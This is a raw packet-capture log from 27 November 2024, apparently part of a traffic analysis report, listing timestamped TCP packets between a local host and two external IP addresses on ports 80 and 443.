Nov 27, 2024 16:34:22.275835037 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.275940895 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.276932001 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.276978970 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.276988029 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.277013063 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.283869982 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.283917904 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.283945084 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.283951044 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.283999920 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.283999920 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.285950899 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.286092043 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.286149979 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.286742926 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.286756992 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.338937044 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.339029074 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.339065075 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.339111090 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.339324951 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.339374065 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.339396000 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.339437008 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.340392113 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.340459108 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.340590954 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.340631962 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.341515064 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.341559887 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.341645002 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.341685057 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.341929913 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.341979980 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.342075109 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.342654943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.342720032 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.342761993 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.342807055 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.343683004 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.343724012 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.343745947 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.343801975 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.343802929 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.343864918 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.343909979 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.343991995 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.344016075 CET	49703	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.344032049 CET	443	49703	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.344079971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.344116926 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.344472885 CET	49705	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.344487906 CET	443	49705	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.344506025 CET	49704	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.344520092 CET	443	49704	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.344763994 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.344814062 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.344873905 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.344917059 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.345470905 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.345487118 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.345629930 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.345670938 CET	49706	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.345676899 CET	443	49706	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.345700026 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.345710993 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.345796108 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.345890999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.345932007 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.345966101 CET	49707	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:22.345982075 CET	443	49707	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:22.346008062 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.346043110 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.347279072 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.347330093 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.347479105 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.347512960 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.348191977 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.348232031 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.348315001 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.348351955 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.349245071 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.349318981 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.349342108 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.349386930 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.350353956 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.350405931 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.350441933 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.350487947 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.351454973 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.351507902 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.351581097 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.351633072 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.352602959 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.352663040 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.352746964 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.352798939 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.353651047 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.353710890 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.353751898 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.353801012 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.354815006 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.354876995 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.354886055 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.354937077 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.355885983 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.355906963 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.355931997 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.355947971 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.387118101 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.387187004 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.387209892 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.387237072 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.387757063 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.387815952 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.387882948 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.387933016 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.388689041 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.388753891 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.388803959 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.388853073 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.389775991 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.389832973 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.389878035 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.389945984 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.390978098 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.391073942 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.391526937 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.392014980 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.392066956 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.392122030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.392173052 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.393141985 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.393188953 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.393372059 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.393415928 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.394294977 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.394346952 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.394433022 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.394490957 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.395343065 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.395414114 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.395423889 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.395468950 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.396603107 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.396662951 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.396667957 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.396714926 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.398097992 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.398147106 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.398189068 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.398231030 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.399005890 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.399069071 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.399148941 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.399197102 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.399951935 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.400022030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.400084972 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.400877953 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.400937080 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.401011944 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.401077986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.402004004 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.402051926 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.402232885 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.402308941 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.403112888 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.403175116 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.403347015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.403400898 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.404407978 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.404457092 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.404587984 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.404639959 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.463607073 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.463659048 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.463737011 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.463788986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.464030027 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.464077950 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.464204073 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.464252949 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.464299917 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.464342117 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.465357065 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.465403080 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.465481997 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.465517998 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.466490030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.466538906 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.466608047 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.466650963 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.467613935 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.467654943 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.467772007 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.467813969 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.468842983 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.468885899 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.468892097 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.468930960 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.469904900 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.469950914 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.469973087 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.470007896 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.471005917 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.471054077 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.471055984 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.471100092 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.471972942 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.472011089 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.472058058 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.472096920 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.473161936 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.473192930 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.473217964 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.473231077 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.474200010 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.474248886 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.474313021 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.474355936 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.475399971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.475445986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.475498915 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.475545883 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.476605892 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.476655006 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.476746082 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.476793051 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.477642059 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.477694035 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.477715015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.477751970 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.478673935 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.478720903 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.478765011 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.478816986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.479748011 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.479796886 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.479851007 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.479892015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.480945110 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.480995893 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.481080055 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.481123924 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.482117891 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.482167006 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.482220888 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.482265949 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.483103991 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.483153105 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.483210087 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.483248949 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.484323978 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.484342098 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.484374046 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.484389067 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.538290024 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.538312912 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.538378000 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.538402081 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.538562059 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.538614035 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.538882017 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.538933992 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.539908886 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.539927959 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.539964914 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.539980888 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.540823936 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.540873051 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.540924072 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.540966988 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.541954041 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.542006969 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.542092085 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.542138100 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.543067932 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.543128014 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.543155909 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.543200970 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.544158936 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.544209003 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.544255018 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.544301987 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.545308113 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.545371056 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.545414925 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.545459986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.546456099 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.546504974 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.546569109 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.546613932 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.547564983 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.547617912 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.547666073 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.547705889 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.548784971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.548830986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.548903942 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.548947096 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.549778938 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.549832106 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.549868107 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.549907923 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.550880909 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.550932884 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.551004887 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.551049948 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.551930904 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.551979065 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.552104950 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.552149057 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.553070068 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.553121090 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.553145885 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.553181887 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.554168940 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.554219007 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.554301023 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.554346085 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.555279016 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.555346966 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.555371046 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.555416107 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.594698906 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.594755888 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.594768047 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.594790936 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.594996929 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.595040083 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.595114946 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.595156908 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.596086979 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.596136093 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.596158028 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.596196890 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:22.597219944 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:22.597270966 CET	49701	80	192.168.2.7	185.215.113.206
